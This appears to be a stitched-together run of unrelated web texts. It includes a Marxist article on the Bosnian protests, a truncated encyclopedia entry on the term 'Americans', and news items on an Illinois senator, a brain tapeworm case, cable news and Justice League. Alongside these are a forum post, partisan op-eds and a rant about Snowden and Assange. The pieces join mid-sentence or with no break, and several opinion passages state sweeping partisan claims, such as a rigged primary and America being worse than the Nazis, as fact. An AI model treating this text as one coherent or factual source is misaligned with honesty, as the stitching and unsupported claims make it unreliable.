Such organs of mass struggle, appear every time the working class moves to take its destiny into its own hands. This happened in the revolutions in Russia in 1905 and 1917, in Spain in 1936, in Czechoslovakia in 1968 and in many other instances. In fact, what they represent, in embryo, is a future workers’ state. In order to create the conditions for a government that is genuinely receptive to the needs of all the workers, it is absolutely necessary for the model of workers' councils to be spread to the rest of the country and connecting them on a national level in order to prepare for them to take power.
The events in Bosnia are a showcase example for the huge potential of spontaneous mass action. But this must not cause us to lose sight of the limits of spontaneity and the necessity of organization. At the moment, the only organized elements of the movement seem to be the liberal NGOs. Even though we are dealing with a movement of workers, organized labour has not taken part in the protests yet and all political parties have distanced themselves from the events. The only meaningful exception to this is the support given by the popular Social Democrat mayor of Tuzla, Jasmin Imamovic, to the local Plenum of Workers and Citizens.
The state and capitalist mafia of Bosnia and Herzegovina cannot resist the masses in any meaningful way, but as the movement progresses, they will be put under tremendous pressure by the forces of imperialism to put an end to the movement. It is absolutely necessary for the movement to establish clear democratic structures and a strong leadership. This is the essence of Lenin's method of organization, democratic centralism. All the failed revolutions of the past two centuries can be traced back to a lack of proper leadership.
In order to succeed, a revolutionary movement needs some organized expression, it needs a unified political voice and a democratic structure in which to establish clear goals and hold debates. It is an urgent task for the workers and youth of Bosnia to come up with such a structure. Otherwise, the vacuum of leadership will be filled by the NGOs, which could have disastrous consequences, as shown by a recent “manifesto” released by two organizations called “Revolt” and “Udar”. This manifesto is a complete retreat from the positions that were expressed in the Declaration of Tuzla, as it is calling for further integration into the EU and NATO – the two imperialist powers on whose shoulders rests the main responsibility for the crisis that caused the current revolt. However, only two days later, the youth organization of “Revolt” distanced itself from that document, which shows that there is turmoil in those organizations.
The Bosnian Revolution is the next decisive step in the European Revolution. Ever since the crisis of capitalism began in 2007, the revolution has been leapfrogging from one country to another. In Europe alone, Spain, Greece, Turkey, Bulgaria, and Romania have already been affected by major social unrest. The crisis is slowly but steadily encroaching on the very heart of Europe, and the masses keep reacting to it with ever more acute forms of struggle. In light of this, it is useful to recall the IMT world perspectives of 2014:
“What we see is the beginning of the world revolution. Events in one country have a big effect on consciousness in other countries. Modern methods of communication enable events to be replicated with lightning speed. (...) These explosions occurred on apparently unrelated issues of an accidental character: a plan to build a shopping mall in a park in Istanbul, and an increase in bus fares in Sao Paulo. But in reality, they are reflections of the same phenomenon: necessity expresses itself through accident. This is a reflection of contradictions that have been accumulating for decades beneath the surface. Once the process reaches a critical point, any small incident can set the masses in motion. The capitalist commentators were taken completely by surprise by the events in Turkey. But within a matter of days similar mass protests swept across Brazil, the economic giant of Latin America, bringing hundreds of thousands onto the streets. These were the biggest demonstrations for over 20 years. They exposed the contradictions that have been building up in the form of poor healthcare, poor education and rampant corruption.”
To the list of seemingly unrelated incidents that set the masses in motion, we can now add the privatization of a few factories in Tuzla. Bosnia is a tremendous example of how the process is inevitably drawing closer and closer to a colossal showdown, in which humankind will be finally liberated from all forms of exploitation and oppression. We have full confidence in the ability of the working class to achieve this task, which is the greatest in the history of humanity.
Long live the workers and youth of Bosnia and Herzegovina!
Down with Capitalism!
Long live the Socialist Revolution!Different languages use different terms for citizens of the United States, who are known in English as Americans. All forms of English refer to United States citizens as Americans, a term deriving from the Americas. In the English context, it came to refer to inhabitants of British North America and then the United States.[1] However, there is some linguistic ambiguity over this use due to the other senses of the word American, which can also refer to people from the Americas in general.[2] Other languages, including French, German, Japanese and Russian, use cognates of American to refer to people from the United States while others, particularly Spanish, primarily use terms derived from United States (Spanish: estadounidense, "United States-ian"). There are various other local and colloquial names for Americans.
Development of the term American [ edit ]
Amerigo Vespucci first demonstrated that Brazil and the West Indies did not represent Asia's eastern outskirts as conjectured by Christopher Columbus, but instead constituted an entirely separate landmass hitherto unknown to the peoples of the Old World. Martin Waldseemüller coined the term America (in honor of Vespucci) in a 1507 world map.[3]
First uses of the adjective American referenced European settlements in the New World. Americans referred to the indigenous peoples of the Americas and subsequently to European settlers and their descendants.[1] English use of the term American for people of European descent dates to the 17th century, with the earliest recorded appearance being in Thomas Gage's The English-American: A New Survey of the West Indies in 1648.[1] In English, American came to be applied especially to people in British America and thus its use as a demonym for the United States derives by extension.[1]
The United States Declaration of Independence of 1776 refers to "the thirteen united [sic] States of America",[4] making the first formal use of the country name, which was officially adopted in 1777 by the nation's first governing constitution, the Articles of Confederation.[5] The Federalist Papers of 1787–1788, written by Alexander Hamilton, John Jay and James Madison to advocate the ratification of the United States Constitution, use the word "American" in both its original pan-American sense, but also in its United States sense: Federalist Paper 24 refers to the "American possessions" of Britain and Spain[6] (i.e. land outside of the United States) while Federalist Papers 51[7] and 70[8] refer to the United States as "the American republic". People from the United States increasingly referred to themselves as Americans through the end of the 18th century and the 1795 Treaty of Peace and Amity with the Barbary States refers to "American Citizens"[9] while George Washington spoke to his people of "[t]he name of American, which belongs to you in your national capacity" in his 1796 farewell address.[10] Eventually, this usage spread through other English-speaking countries and the unqualified noun American in all forms of the English language now chiefly refers to natives or citizens of the United States, though other senses are generally specified with a qualifier such as Latin American or North American.[1]
International use [ edit ]
International speakers of English generally refer to people from the United States as Americans while equivalent translations of American are used in many other languages, namely French (américain), although the term étatsunien derived from États-Unis (United States) in French is also accepted, Dutch (Amerikaan), Afrikaans (Amerikaner), Japanese (アメリカ人, rōmaji: amerika-jin), Filipino (Amerikano), Hebrew (אמריקאי), Arabic (أمريكي) and Russian (американец, американка).
In German, the designation US-Amerikaner and its adjective form US-amerikanisch are sometimes used, though Amerikaner (adjective: amerikanisch) is more common in scientific, official, journalistic and colloquial parlance. The style manual of the Neue Zürcher Zeitung, a leading German-language newspaper, dismisses the term U.S.-amerikanisch as both "unnecessary" and "artificial" and recommends replacing it with amerikanisch.[11] The respective guidelines of the foreign ministries of Austria, Germany and Switzerland all dictate Amerikaner/amerikanisch for official usage.[12][13][14] Ami is common in colloquial speech. In Italian, both americano and statunitense are used, although the former is more |
original TV series. Expect plenty of puns, props, and easily escapable do-or-die situations. It'll certainly contrast with the recent animated adaptation of DC's The Killing Joke, which has attracted criticism for mishandling of sexual violence. Batman: Return of the Caped Crusaders will be released on Blu-ray on November 1st and Digital HD on October 11th. Let's hope Waynebeau shows up.
(Vine via the magnificent, always relevant, Batman 66 Labels.)CHICAGO (Reuters) - An Illinois state senator running for former Democratic U.S. Representative Jesse Jackson Jr.’s seat in Congress was released on bond on Thursday, following his arrest for trying to bring a gun onto an airplane.
A Cook County judge set bail at $25,000 for Donne Trotter, 62, on the felony charge. Trotter, who has called the incident an honest mistake, posted bond and was released shortly afterward.
If convicted, Trotter could face a sentence ranging from probation to up to four years in prison, according to prosecutors.
Trotter, a Chicago Democrat, is a gun control advocate who once voted “no” on a measure that would have allowed state residents to carry concealed weapons in 1995.
Last week, Trotter joined the crowded field of candidates hoping to succeed Jackson, who resigned from Congress on November 21. Democrats hold a primary on February 26 to select their candidate in the heavily Democratic district, with the election on April 9,
Trotter did not comment after the hearing, but later told reporters outside his home that he planned to stay in the congressional race, according to a broadcast on the local ABC television network.
“I intend on staying in the race at this time and will continue to campaign for the people of the 2nd District,” Trotter said.
Prosecutors said Trotter’s handgun was not registered with the city of Chicago, as required by municipal ordinance. He had a valid Firearm Owner’s Identification Card and a permit allowing him to carry his gun to and from work.
He was arrested on Wednesday at O’Hare International Airport after security officers spotted a.25 caliber Beretta in his garment bag. Trotter has a job as a security guard and said he did not know the gun was in his bag, according to court records.
In the Illinois statehouse since 1988, Trotter is among several Illinois lawmakers who have fallen afoul of authorities this year. Two other state lawmakers have been indicted, and Jackson acknowledged in his resignation letter that he was under investigation by federal authorities.
The charge does not bode well for Trotter’s congressional run, said Jeffrey Hill, chair of the political science department at Northeastern Illinois University.
“For someone who was arguably the front-runner in the campaign, this could only increase the probability he’ll face good competition,” Hill said.Taiwanese photographer Yun-Fei Tou created these portraits of abandoned dogs minutes before being euthanized to "arouse people's awareness of animals rights." What really fucks me up is to look into their eyes knowing they didn't know what was coming up next. A stark reminder of our responsibility towards these beings.
The pup above was photographed just two minutes before being put down. From Yun-Fei Tou:
These portraits are taken on the very day in which the dogs depicted is about to be put down or mercifully killed in public pounds run by governmental agencies in Taiwan. Utilizing the classic portrait style that originated in the early 19th century with the birth of photography as an art form, these photographs offer the viewer a chance to look attentively into a bleak future. The purpose of this project is to arouse people's awareness of animals rights. People should view animal rights as a moral issue rather than appealing to emotional affection. As Peter Singer wrote in his Animal Liberation, "The portrayal of those who protest against cruelty to animals as sentimental, emotional "animal-lovers" has had the effect of excluding the entire issue of our treatment of nonhumans from serious political and moral discussion."
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06:16am, Taiwanese Public Shelter, Time until Euthanized: 11.2 Hours
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10:00 a.m. Taiwanese Public Animal Shelter Time until Euthanized: 1.4 Hours
05:01am, Taiwanese Public Shelter, Time until Euthanized: 12.5 Hours
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11:38am, Taiwanese Public Shelter, Time until Euthanized: 29 Minutes
04:17am, Taiwanese Public Shelter, Time until Euthanized: 13.2 Hours
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10:54pm, Taiwanese Public Shelter, Time until Euthanized: 1.2 Hours
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12:57pm, Taiwanese Public Shelter, Time until Euthanized: 1.1 Hours
If you were thinking about getting a dog soon, please remember to go to your local shelter. And please remember that dogs are NOT toys for kids. They are extremely sensitive animals who have nothing but adoration and love for the humans in their pack. Taking care of a dog is an expensive and serious proposition, one that shouldn't be taken lightly at any level—as the photos above demonstrate.
Yun-Fei Tou is a photographer who has worked for publications like Business Week (Taiwan), Rhythms Monthly. and the Common Wealth Magazine Group. He's now an independent photographer who is working some long-term projects like this Memento Mori series.
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This is part of a series in which we are featuring futuristic, striking, and just beautiful photography. If you are a photographer with awesome work, please drop me a line here.
This is SPLOID. Join us on FacebookAFormerLurker wrote:
The debate about fire in the MK boils down to, more or less, one point. Does the MK need to be uncontested for Dirtamancers to put out an Inferno?
Personally, I'm kind of on the fence about it. The wording of the fire rules, as Parson recounted them, seems to imply that Dirtamancers are exempt from the 'needs to be uncontested' rule, but it's also a very vague implication rather than a direct statement. And we also need to ultimately keep in mind that we have NOT ever seen the actual fire rules of Erfworld; we've seen Parson's notes on them. We do not know if the actual rules say that Dirtamancers also are subject to the uncontested rule, and Parson simply did not mention it, as it did not need to be put down for his own reference.
That'd be a bit of misdirection on the part of the author, to have Parson leave out a bit of optional information in his notes, but it would be understandable misdirection. It's misdirection I'd look at and go 'Ha, good job, pullin' that on us' instead of being angry at. So, I still think it's possible.
I think at least part of the whole 'uncontested' thing is that while fighting a fire a unit can't do anything else. Like, say, defend themselves from attacking enemies. So, by fighting a fire in a contested area units are basically giving all of their foes a free shot at them.So, yeah, the Dirtamancers could probably put out any inferno any party cares to start, but doing so is going to occupy their attention and Juice and remove them as a variable from other equations for as long as they are fighting the fire. And when they're done, they will likely be much lower on Juice, thus reducing their capacity as a threat.As far as the argument of no fires in the MK and the rule's relation to Dirtamancers... Well, they have a monopoly on fighting infernos and the MK Dirtamancers don't exactly strike me as a particularly altruistic group, so...Imagine your home is burning down and when the fire truck shows up they want a thousand dollars up front to put it out for you. That could very well be what MK Dirtamancers are like given what we know about them (they apparently have enough political clout to claim all the guns left in the MK), the general demand for their services (Sizemore was able to become filthy rich despite actively underpricing his services and trying to refuse payment at times), and the price fixing they sometimes engage in (why the tunnel from GK portal to Spacerock portal never got filled in).The statements by the high-tech self-exile Snowden set off alarms even among those who are willing to repose their confidence in the general integrity of our intelligence services. In my case, not because I believe his overblown claims of civilian snooping, but because I now have doubts about the efficacy of the controls on access to the information gathered and my substantial, growing distrust of the president and the civil service.
I have always believed that regardless of the laws of a nation, the social fabric that binds it is woven of mutual trust between the people and their private and governmental institutions. Once that fabric is weakened, the dangers to an ordered society are extreme. This week, the holes in the U.S. social fabric are manifest, and they are caused by the administration's ever-expanding lawlessness..
In any event, with the FBI having ignored specific warnings from the Russians about the Boston bombers and the administration announcing it will provide military support for the Syrian rebels just as they in turn announce their affiliation with Al Qaeda, the need for this elaborate record-gathering becomes ever less clear. From the outside it seems as if in Syria, Libya, Afghanistan, Iran, and Egypt we are doing everything in our power to strengthen our enemies. What's the point then creating this expensive apparatus to permit listening to their communications as if we still regarded them as enemies?
For most of my lifetime, I believed that our Founding Fathers ("Founding Founders to the White House") set up a good -- if not infallible -- means of keeping the excesses of the executive in check. And that to supplement those checks and balances, the system of Inspectors General created by Congress to audit operations and uncover misconduct and criminal activity would do much to punish and prevent wrongdoing.
But in the face of such widespread misuse of government personnel and resources by the Obama Administration, the Constitution and Inspector General provisions seem inadequate to the task.
For one thing, there's no legislative compulsion for the president to appoint Inspectors General at all. And as of the beginning of this year 6 such slots remained vacant.
A bipartisan group of senators is urging President Obama to quickly fill vacant inspector general slots at six agencies.
A letter from members of the Senate Homeland Security and Governmental Affairs Committee to Obama on Thursday says there are vacancies at the departments of Defense, Homeland Security, Interior, Labor and State and the Agency for International Development. "Every year, Inspectors General identify billions of dollars in potential savings, including savings from improved management practices and fines and repayments resulting from investigations," the letter said. "The value of the Inspectors General goes beyond dollars; these offices also help reveal and prosecute wrongdoing, and promote the integrity of government. They provide invaluable support to Congressional budgeting and oversight work. Inspectors General are an essential component of government oversight." The senators were led by committee Chairman Thomas R. Carper (D-Del.) and Sen. Tom Coburn (Okla.), the top Republican on the panel. The vacancy at the Department of Homeland Security "is extremely troubling, given that the agency faces many management and budget challenges, and the IG's office itself faces allegations of misconduct," according to the letter. It also noted that the State Department has not had a permanent inspector general for five years.
In other instances, the offices of the Inspectors General were compromised and involved themselves in cover-ups of criminal activity inside their departments.
"In a letter to the department's Office of Inspector General (OIG), Rep. Ed Royce (R-Calif.) blasts the agency over a February report that was scrubbed of specific references to misconduct allegations that included eight cases of State Department officials sleeping with prostitutes and other misconduct."
While the laws involving Inspectors General are designed to make removal during their term difficult and require notification to Congress when an IG is removed, the case of Inspector General Gerald Walpin, who was removed to discourage the others, is an example of what a corrupt administration did to discourage the others from doing their jobs.
Speaking of the shabby job the IRS IG performed, Walpin explains the dynamics to us:
But I learned, through being fired by the Obama administration, that performing one's responsibilities as one should, and potentially adversely affecting the administration's image, is not the way to keep one's job. (Fortunately, I was not dependent on my federal IG salary.) That reality was made apparent to me -- and, through what happened to me, to all IGs -- when I supported my staff of longtime dedicated civil servants, who had recommended taking action against one Kevin Johnson, a former NBA player who had misused, for personal purposes, about $750,000 of an AmeriCorps grant intended for underprivileged young people. What I did not then know was that he was a friend and supporter of President Obama -- a fact that caused the proverbial you-know-what to hit the fan. Without detailing all that happened, the bottom line was that I started to receive pressure to drop the case against Mr. Johnson. When I declined to repudiate my staff's work, the guillotine fell: I was summarily telephoned that if I did not resign in one hour, I would be fired. And I was, along with my special assistant, John Park. The Wall Street Journal editorial board wrote of my firing: "The evidence suggests that [President Obama's] White House fired a public official who refused to roll over to protect a Presidential crony." Similar questions have been raised about other IGs who somehow have been discarded. Amtrak IG Fred Weiderhold, Treasury special IG Neil Barofsky, and International Trade Commission IG Judith Gwynn all left their positions after disputes that weren't appreciated by the administration, giving more reason for others to go easy with the administration. Further, the president has significantly failed to fill IG vacancies in important agencies (State, Interior, Labor, Homeland Security, and USAID) -- well-documented by former IG Joseph Schmitz -- demeaning the importance of the IG position.
The desire to avoid administration retribution seems to spread beyond the IGs to the FBI itself. FBI Director Mueller's inability to answer any question at all about the investigation into the IRS scandal seems deliberate and contemptuous of the proceeding. He knew he'd be asked about it.
And of course it seems the FBI is not conducting any sort of investigation into the scandal. No tea party group in the IRS probe has even been contacted. Of course, if you only get your news from major media you wouldn't know that. Only the Daily Caller had the wit to pick up the phone and ask.
As Professor Charles Lipson posted on Facebook:
Today, we know more, but not from Mueller, who remains silent. The victims are ALL reporting that the FBI has not bothered to interview them. What's worse, this story about the victims did not break in the Washington Post, NY Times, Boston Globe, LA Times, or other big papers, as it should have. They didn't bother to investigate or report. It was reported by a mid-sized online news site, one that actually made a few phone calls.
Lipson suggests: "Here's a thought for the Senate. Refuse to approve ANY political appointments to an agency that lacks an IG. Simply put a hold on them."
Of course, the Democratic majority Senate, which contains such thinkers as Mary Landrieu, who in denying the need for border security noted that South Dakota bordered Canada, would likely stymie such a proposal.
(And who expects intelligence or honesty from a party whose House minority leader responded to a question this week on her defense of late term abortions with this disingenuous idiocy: "As a practicing and respectful Catholic, this is sacred ground to me when we talk about this.")
The week ends on a particularly distressing note, It makes even an optimist like me greatly concerned that the Obama overreach must be stopped quickly and, if there is no Republican majority elected to the Senate next year, the Republic is in very grave danger.
There's a real question as to whether the White House effort to muzzle the press has gone beyond bullying and into illegal snooping.
Sharyl Attkisson of CBS, who courageously reported on the Fast and Furious transfer of weapons by the ATF to Mexican drug gangs and the government's failure in Benghazi, stated a while ago that beginning in 2011 she noticed her computer was behaving oddly. Friday CBS reported on the results of its investigation of her claim:
"That investigation has reached the following conclusions, according to CBS News spokeswoman Sonya McNair: "A cyber security firm hired by CBS News has determined through forensic analysis that Sharyl Attkisson's computer was accessed by an unauthorized, external, unknown party on multiple occasions late in 2012. Evidence suggests this party performed all access remotely using Attkisson's accounts. While no malicious code was found, forensic analysis revealed an intruder had executed commands that appeared to involve search and exfiltration of data. This party also used sophisticated methods to remove all possible indications of unauthorized activity, and alter system times to cause further confusion.CBS News is taking steps to identify the responsible party and their method of access."
There is no proof as yet that the White House has in effect been breaking and entering into Ms. Attkisson's computer files, but who else had such a great interest in the scandals she was uncovering?Parasitic worm normally found in amphibians and crustaceans in China may have scavenged nutrients from patient’s brain
A man who went to see his doctor after suffering headaches and experiencing strange smells was found to have been living for more than four years with a rare parasitic worm in his brain.
In the first case of its kind in Britain, the ribbon-shaped tapeworm was found to have burrowed from one side of the 50-year-old man’s brain to the other.
Doctors were left baffled after spotting strange ring-like patterns moving 5cm through his brain tissue in a series of scans taken over four years.
Surgeons only discovered the 1cm worm while carrying out a biopsy at Addenbrooke’s hospital in Cambridge and took it to parasite experts to be identified.
Geneticists at the Wellcome Trust Sanger Institute in Cambridge found the creature was a rare species of tapeworm known as Spirometra erinaceieuropaei.
Only 300 cases of infection by this parasite in humans have been reported since 1953, with only two previous cases identified in Europe.
The worm is normally found in amphibians and crustaceans in China and as it goes through its life cycle it later infects the guts of cats and dogs, where it can grow into 1.5-metre adult worms. Even in China, where the parasite is normally found, there have only been 1,000 cases reported in humans since 1882.
The unfortunate patient, who was of Chinese descent but lived in East Anglia, is thought to have picked up the parasite while on a visit to China, where he visited regularly. However, exactly how he came to be infected is not known, but he could have picked it up from infected meat or water and the worm then burrowed through his body to his brain.
Now scientists believe they have been able to learn new information about this rare parasite after studying its DNA.
Rather than living on the brain tissue of its unknowing victim, the parasite is thought to have simply absorbed nutrients from the man’s brain through its body as the worm has no mouth.
Dr Hayley Bennett said they hoped to use the result of the study to help diagnose infections in humans more quickly in the future and even find ways of treating it.
She said: “This worm is quite mysterious and we don’t know everything about what species it can infect or how. Humans are a rare and accidental host. for this particular worm. It remains as a larva throughout the infection. We know from the genome that the worm has fatty acid binding proteins that might help it scavenge fatty acids and energy from its environment, which may be one the mechanisms for how it gets its food.
“This genome will act as a reference, so that when new treatments are developed for the more common tapeworms, scientists can cross-check whether they are also likely to be effective against this very rare infection.” The research is published in the journal Genome Biology.
The patient first noticed something was wrong in 2008 when he began suffering headaches, seizures, memory flashbacks and strange smells.
After visiting his doctor, an MRI scan revealed a cluster of rings in the right medial temporal lobe.
He was given tests for a wide range of other diseases including syphilis, HIV and tuberculosis but tested negative for them all. Later scans showed the rings moving through his brain.
After undergoing two biopsies, surgeons found the worm moving around in his brain and removed it in 2012. The man was then given drugs to help treat the infection but he continues to suffer from problems associated with having had the worm living in his brain.
It is not known how he first became infected, but one source of infection is the use of frog poultice, a traditional Chinese remedy where raw frog meat is used to calm sore eyes.
“We did not expect to see an infection of this kind in the UK, but global travel means that unfamiliar parasites do sometimes appear,” said Dr Effrossyni Gkrania-Klotsas, one of the clinicians involved in the man’s treatment at Addenbrooke’s NHS Trust.
“We can now diagnose sparganosis using MRI scans, but this does not give us the information we need to identify the exact tapeworm species and its vulnerabilities.
“Our work shows that, even with only tiny amounts of DNA from clinical samples, we can find out all we need to identify and characterise the parasite.”Greta Van Susteren tweeted Thursday afternoon that she is leaving her hosting duties at MSNBC.
I am out at MSNBC - — Greta Van Susteren (@greta) June 29, 2017
Her departure comes just shy of six months after she started at the network, which she joined to anchor “For The Record With Greta.”
“They let her go,” Van Susteren’s husband, John Coale, told CNN’s Brian Stelter.
MSNBC President Phil Griffin confirmed the news in a memo to network employees.
“MSNBC and Greta Van Susteren have decided to part ways,” Griffin wrote.
According to Vanity Fair, which first reported Van Susteren’s sudden departure, Wednesday’s show was her last appearance.
Beginning Thursday, a rotation of hosts will replace her, Griffin wrote. Legal correspondent Ari Melber will permanently take over the 6 p.m. time slot next month, while continuing to provide legal commentary on both MSNBC and NBC News.
After 14 years at Fox News, Van Susteren suddenly left the network in September, following the resignation of former network President Roger Ailes amid numerous allegations of sexual harassment. Van Susteren had initially defended Ailes, but had reportedly been concerned about the culture of the network under Ailes’ leadership.
“Fox has not felt like home to me for a few years and I took advantage of the clause in my contract which allows me to leave now,” she wrote in a Facebook post. “The clause had a time limitation, meaning I could not wait.”
Before joining Fox News, Van Susteren was an anchor on CNN.
Van Susteren’s MSNBC show had suffered from low ratings, despite the network’s overall success in recent months. In May, MSNBC was number 1 in primetime ratings for the first time in 17 years.Apparently the Trump administration is worried that despite the president calling CNN “fake news” at every opportunity, the network isn’t aware that he doesn’t care for their coverage. The Wall Street Journal reports that during a recent meeting with a top Time Warner Inc. executive Jared Kushner, Trump’s son-in-law and adviser, complained that the network’s coverage is biased against the president.
Kushner is a longtime friend of Gary Ginsberg, who’s an executive vice-president of corporate marketing and communications at CNN’s parent company. During a wide-ranging discussion at the White House, Kushner reportedly complained about specific anti-Trump CNN contributors, including Van Jones, a Democrat who worked in the Obama administration, and Ana Navarro, a Republican strategist.
They did not discuss Time Warner’s proposed $85.4 billion sale to AT&T, which is awaiting government approval. In an October speech, President Trump said his administration would not approve the merger “because it’s too much concentration of power in the hands of too few.” Bloomberg reported that Trump’s opposition to the deal actually comes “partly from his frustration with CNN, which is owned by Time Warner.”
President Trump’s wild press conference on Thursday included several lengthy and inaccurate attacks on CNN. At one point he told CNN’s Jim Acosta, “Okay, well ask Jeff Zucker how he got his job … we do have a lot of people in here, and your ratings aren’t as good as some of the other people who are waiting here.”
As New York’s Gabriel Sherman reported last month, sources say Trump feels personally betrayed by CNN Worldwide president Jeff Zucker, who put The Apprentice on the air when he was president of NBC Entertainment. Trump thinks his recommendation to Turner Broadcasting’s then-CEO Phil Kent got Zucker the CNN job, though Turner had reportedly already decided to hire Zucker.
Shortly before Trump bashed the network at Thursday’s press conference, Zucker dismissed the effect of the president’s criticism at a meeting with reporters in New York. Zucker admitted that he was initially concerned, and even commissioned a survey of public attitudes about CNN last month. It found “there has been no diminution whatsoever in the strength of our brand,” he said. In the beginning of 2017, the network’s ratings have also been up 51 percent from the year before.
Zucker said, despite what the president claims, CNN is not out to get Trump — nor are its reporters bothered by his constant jabs. “They wear those insults as a badge of honor, because it means they are doing their jobs,” he said of the network’s reporters and employees. “I would say that morale is incredibly high … They are not being intimidated, they are not backing down, they know they have my full support and it is a very exciting time, frankly, to be a journalist at CNN.”
Ana Navarro certainly didn’t seem upset to learn that the Trump administration doesn’t like her commentary.Early today Warner Bros. released an action-packed emotional new Justice League trailer and it is AMAZING!! There is plenty of new footage and we get our first look at Henry Cavill as Clark Kent. Below is a slide of images from the trailer for your eyes to gawk at.
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Fueled by his restored faith in humanity and inspired by Superman’s selfless act, Bruce Wayne enlists newfound ally Diana Prince to face an even greater threat. Together, Batman and Wonder Woman work quickly to recruit a team to stand against this newly awakened enemy. Despite the formation of an unprecedented league of heroes – Batman, Wonder Woman, Aquaman, Cyborg and the Flash – it may be too late to save the planet from an assault of catastrophic proportions.
Justice League reaches theaters November 17, 2017.Updated at 3 p.m.: Revisions throughout include new comments from Texas Central Partners President Tim Keith.
Irving-based Fluor Enterprises and Lane Construction Corp. have been chosen to help with the design and construction of the high-speed rail line that will carry travelers between Dallas-Fort Worth and Houston, developer Texas Central Partners said Monday.
The announcement comes after more than three years of development by Texas Central, the private company behind the $12 billion-plus venture. The project will be backed by private investors, and the company has pledged not to pursue federal or state government grants but said it may seek loans from existing transportation credit programs.
The 240-mile high speed rail line would take travelers between the cities in less than 90 minutes, with trains departing every 30 minutes during peak periods.
The line, which could follow one of several routes, would wind down to Harris County and back at 205 mph.
The next major step in the process is the fall release of an environmental draft from the Federal Railroad Administration, which will identify a preferred path for the train, Texas Central President Tim Keith said. After the environmental statement, the company can identify and engage with more landowners along the preferred rail line.
Dallas' station could be placed just outside of downtown, with the goal of tying it into the Dallas Area Rapid Transit network.
Construction is expected to begin in late 2018 or early 2019, and the train could be open for travelers several years later.Story highlights Michael R. Bloomberg and Maroš Šefčovič: Cities will bear brunt of climate change
Leaders must collaborate to help spread solutions to cities around world, they say
Michael R. Bloomberg and Maroš Šefčovič are co-chairs of the Global Covenant of Mayors for Climate & Energy. Bloomberg is the former mayor of New York and founder, CEO and owner of Bloomberg LP, a global financial data and media company. Šefčovič is a current vice president for the Energy Union for the European Commission. The opinions expressed in this commentary are solely theirs.
(CNN) While longstanding partnerships between nations are being tested by shifting politics on both sides of the Atlantic, the world's cities are working together more closely than ever to address shared challenges. No issue better demonstrates this than the global effort to confront climate change -- and in the wake of the US withdrawal from the Paris climate agreement, cooperation among US and global cities will be even more important.
Maroš Šefčovič
Michael Bloomberg
Through the Global Covenant of Mayors for Climate & Energy, more than 7,400 cities worldwide have united in a coordinated effort to address the causes and impacts of climate change. These cities have pledged to meet ambitious targets for reducing carbon emissions, adapt to climate change and increase local access to clean and affordable energy, all while holding themselves accountable for planning and reporting their progress transparently and consistently.
This mirrors what nations have agreed to do under the Paris Agreement but with one critical difference: City leaders are often setting higher goals than their national counterparts and acting faster and closer to citizens to reach them.
Mayors helped to raise the ambition of the Paris Agreement by showing national governments how much progress was possible. Working together, cities are leading the charge to implement the agreement and help nations reach their goals. That includes the more than 200 US mayors and 1,500 business leaders who have signed a pledge committing to actions that will help the United States reach the goal it set in Paris in 2015 despite the federal government's decision to withdraw from the agreement.
The reason so many mayors, from all regions of the world, have come forward to join the pledge is simple: They recognize the same steps that are most effective in reducing carbon emissions while increasing access to clean energy and protecting people and assets also improve people's lives and spur economic growth.
Read MoreEdward Snowden fled the country and risked his own life to expose our government's Orwellian spying and constant, widespread privacy violations. He revealed to the world that nearly every major telecom, corporation, and method of digital communication is illegally being bulk collected by the NSA. Not just criminals, but you, me, everyone else- and not just here, but throughout many countries abroad too.
What was our government's response? The Nixonian crooked politician go-to of deny, deny, deny. They charged him with three felonies, including two under the Espionage Act- a 1917 statute enacted to criminalize dissent against World War I- while claiming the NSA's programs are essential because "anti-terrorism". But nothing changed, nothing got resolved, and our "leaders" still accumulate all data.
Julian Assange created Wikileaks to give whistleblowers a safe outlet for revealing concealed injustice. This year alone, he has helped expose how the Democratic party- while continually claiming impartiality and ethical behavior- actually did quite the opposite. Hillary has not legitimately won anything; the "race" was rigged, biased in every conceivable way to beat the more popular populist candidate.
What was our government's response? President Obama endorsed her even before the vote counting in California was complete, claiming she "may be the most qualified candidate ever." The FBI gave her a bizarre complete free pass on a multitude of ethical and protocol violations- even when it was proven she and her staff destroyed evidence after being subpoenaed. She's now likely our next President.
Bernie Sanders challenged the entire establishment and all typical political protocol by running a grass-roots, people-funded campaign based on honesty, equality, and empowering the masses with knowledge. He raised awareness that our government is now run by greed- how media, corporations, legislation, taxes, and 'trade agreements' all serve the few rich at the expense of the many perpetually poor.
What was our government's response? Again, absolutely nothing. A few of the lesser, more token principles of his FDR-esque platform were grudgingly added to the non-binding DNC / Hillary agenda- all while refusing proper union representation at the meetings. The infotainment redirection and propaganda have increased, and institutionalized poverty continues to line the pockets of the ruling class.
Let me be quite clear here: we have no representative government. We are ruled by a totalitarian wealthy regime who pulls the strings of their various sponsored puppets. We do not have freedom; we merely enjoy the illusion of it until we are no longer compliant and useful. We no longer have democracy; just an antiquated, conveniently over-complicated hijacked system turned 100% pay-to-play.
America is the most subversively corrupt, dangerous, and successful terrorist threat worldwide. Under various provably fraudulent excuses, our country is constantly engaging in violent conflicts (war by another name), profitably manufacturing and selling weapons indiscriminately, thus racking up increasing death tolls that make Adolf Hitler's cruel Nazi death machine frankly look like amateur hour.
So when someone talks about waiting and hoping that the 2020 election can bring changes, or obsesses about inane headlines of skewed infotainment until they lose all larger perspective, or buys into the establishment's own 'lesser evil' plan of Republican-disguised-as-Independent pro-corporate, pro-TPP Gary Johnson- I see our dismal fate sealing simply because everyone remains so ignorant, so asleep.
But we are being taxed, while not in any form being truly represented. Those sworn to do so have proven repeatedly they have no ethics, no accountability, and will not uphold their oaths of office. Any means of civic voice and action- from being a delegate, to pursuing legal justice- have been incrementally placed behind paywalls, while our growing widespread poverty ensures we can never utilize them.
America has three choices. The first is the path we're currently on- continued apathetic exploitation, until we have surrendered everything to this fascist police-state corporate feudalism. The second is full scale revolution- a messy, destructive, and now an intentionally imbalanced affair. The last option is fortunately a historically effective one- organized, widespread civil activism until real changes occur.
As a student of history and an intellectual pacifist, I recommend the latter. You may have noticed, steps are already being taken to manipulate, limit and disrupt our connectivity through social media channels. And yes, it will take some patriotic effort and bravery- but not anything remotely close to what the three principled, heroic individuals I began this piece with have already given to our country and cause.
Individually we feel powerless, weak, and vulnerable. But when we all stand together, nobody is alone. Those who were lucky enough to go to a Bernie rally know what I'm talking about- the power and joy of true unity for the greater good. So if you feel as I do, that American "freedom" has nothing to do with drone bombing fellow humans, sponsoring elite injustice, or mass control and deception- then rise up, NOW.
Because in a country run by terrorists, FDR's historic words ring more true than ever: The only thing we have to fear is fear itself.
